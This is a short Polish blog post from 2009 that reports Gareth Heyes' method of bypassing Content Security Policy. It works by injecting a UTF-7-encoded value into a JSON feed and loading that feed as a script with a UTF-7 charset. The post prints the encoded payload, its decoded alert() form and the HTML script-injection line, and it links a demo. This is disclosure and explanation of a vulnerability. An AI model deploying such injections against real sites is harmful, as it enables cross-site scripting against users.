23 lis 2009

CSP na kolana

Gareth Heyes opublikował właśnie na swoim blogu, informację dotyczącą sposobu ominięcia zabezpieczeń w #CSP http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/


Na czym polega błąd?

Każda strona z feedem JSON'a nad którym może mieć kontrolę atakujący, może zostać zarażona własnym ciągiem JSON'a, dzięki czemu można kontrolować pozostałe elementy feed'a.
Wyjaśnijmy to na przykładzie. W UTF-7 ABC pojawia się jako:


+ACcAQQBCAEMAJw-

jeżeli przykładowa odpowiedź w JSON wygląda tak:

[{'friend':'something',email:'something'} ]

mając kontrolę nad wartością: something, możemy umieścić własny kod:


+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-

(w UTF-8: '}];alert('May the force be with you');[{'job':'done )

Umieszczając w/w kod, powstaje nam:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

czyli:


[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):

"><script src="http://some.website/test.json" charset="utf-7"></script>

uruchamiamy kod pod CSP, omijając zabezpieczenia.


Przykładowe działające demo: http://www.businessinfo.co.uk/labs/cspluke/test.html

Więcej informacji na temat CSP: http://blog.mozilla.com/security/2009/09/30/a-glimpse-into-the-future-of-browser-security/
Testy CSP: http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi

Zapraszam do testów :)